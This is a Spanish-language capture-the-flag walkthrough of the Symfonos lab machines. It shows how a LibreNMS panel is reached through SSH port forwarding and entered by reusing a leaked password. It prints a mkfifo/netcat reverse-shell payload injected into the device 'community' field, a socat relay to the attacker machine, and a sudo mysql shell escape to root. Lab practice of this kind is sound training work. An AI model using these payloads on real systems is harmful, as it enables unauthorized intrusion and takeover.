Antes, podemos checkear que el puerto no tenga ningun servicio corriendo con el comando lsof -i:8080.

1
proxychains -q ssh aeolus@192.168.100.5 -L 8080:127.0.0.1:8080

- -L: Local Port Forwarding. Esto nos permite que un servicio remoto este accesible localmente, también tienes -R, pero es para remote port forwarding, llevar el servicio de un puerto de la máquina donde estás a la que te conectas.

Recuerda que estas utilizando proxychains y todo el tráfico en realidad va desde Symfonos1.

Genial, vemos este panel de login de LibreNMS, programa utilizado para la monitorización de red del sistema y recordamos que tenemos contraseñas, aeolus:sergioteamo y podemos probar si se reutilizan estas:

En la siguiente imagen se puede apreciar un error que suele salir por introducir mal las credenciales:

La reutilización de contraseñas es válida y podemos acceder al panel:

RCE en servicio web interno

Vamos a buscar al tuntun con searchsploit y vamos a inspeccionar(searchsploit -x php/webapps/47044.py) el siguente script en Python para entender como funciona y poder realizarlo nosotros de una manera más manual.

Al inspeccionar el script podemos ver que el payload es una reverse shell(de monkey pentester en versiones antiguas de netcat)

Si buscamos por payload en el script, podemos apreciar que existe una función que se llama create_new_device a la que le pasa una url y en la petición, en el campo community le inyecta el payload.

Al final le añade a la url /addhost/

Para crear un nuevo dispositivo en la web seguimos el siguiente orden Devices > Add Device y una vez aquí solo tenemos que tener cuidado de dos campos:

  • community: Que es donde se va a realiza la inyección de la reverse shell.
  • Force add: en la función create_new_device en el script en python indica que está en ON(activado/marcado)

En la máquina Symfonos 2 nos pondremos en escucha por el puerto 4646:

1
nc -nlvp 4646

Indicamos que la ip de la reverse shell es la de la máquina SYMFONOS2, porque vamos a probar que funciona, más adelante indicaremos que es la de SYMFONOS1.

1
'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.100.5 4646 >/tmp/f) #

Pero aún no hemos ganado acceso, ¿porque?. Si seguimos mirando el script en python vemos que abajo hay otra función llamada request_exploit

En esta función podéis ver que utiliza el id “capture”, capture está en Devices > All Devices > Generic > reverse_shell > Settings(icono de engranaje) > Capture

En la pestaña de SNMP si le das a run llama a /ajax_output.php y está es la manera que han tenido de automatizarlo. Si tu le das a run debería llegarte la conexión.

Uso de Socat para reverse shell

Socat establece conexiones bidireccionales entre dos puntos de comunicación, podemos usar esto a nuestro favor.

  1. La IP de la reverse shell es la de Symfonos 1.
  1. Redirigimos el tráfico con socat(todo lo que entre por el puerto 4646 que se mande al puerto 4646 de la máquina atacante).

Antes de esto debemos tener una conexión activa para poder realizar todo el proceso, vamos a establecer la conexión con Symfonos1, mediante el curl que hicimos al principio que nos enviaba una reverse shell a nuestro equipo atacante. Vamos a cambiarnos a root(recordar que podemos ejecutar bash -p).
Comprobamos que socat esta instalado(which socat) si no recuerda que puedes subirle un binario sin problema)

Redirigimos el tráfico:

1
socat TCP-LISTEN:4646,fork TCP:192.168.1.160:4646

Dejamos esto abierto para que no se cierre el túnel.

  1. Nos ponemos en escucha desde la máquina atacante:
    1
    nc -nlvp 4646
  2. En la web nos vamos al dispositivo creado y ejecutamos el exploit(nos vamos a SNMP y le damos a run)

GENIAL!. Ya hemos conseguido traernos la reverse shell donde está el usuario cronus a nuestro máquina atacante, a continuación se realizaría el tratamiento de la tty como hemos visto en los pasos anteriores.

Si intentas hacer un Remote Port Forwarding con Chisel no podrás porque Chisel no permite la bidireccionalidad, esto significa que no enviaría el tráfico a la máquina atacante y al intentar conectarte de esta al puerto te dirá que ya está ocupado.

Root Symfonos 2

Si usamos el comando:

1
sudo -l

Podemos apreciar que el usuario cronus puede ejecutar como root mysql:

Si buscamos en gtfobins por mysql podemos ver que puede usar sudo para escalar privilegios, si pinchamos en él, nos sale lo siguiente:

1
sudo mysql -e '\! /bin/sh'

Referencias

Comentarios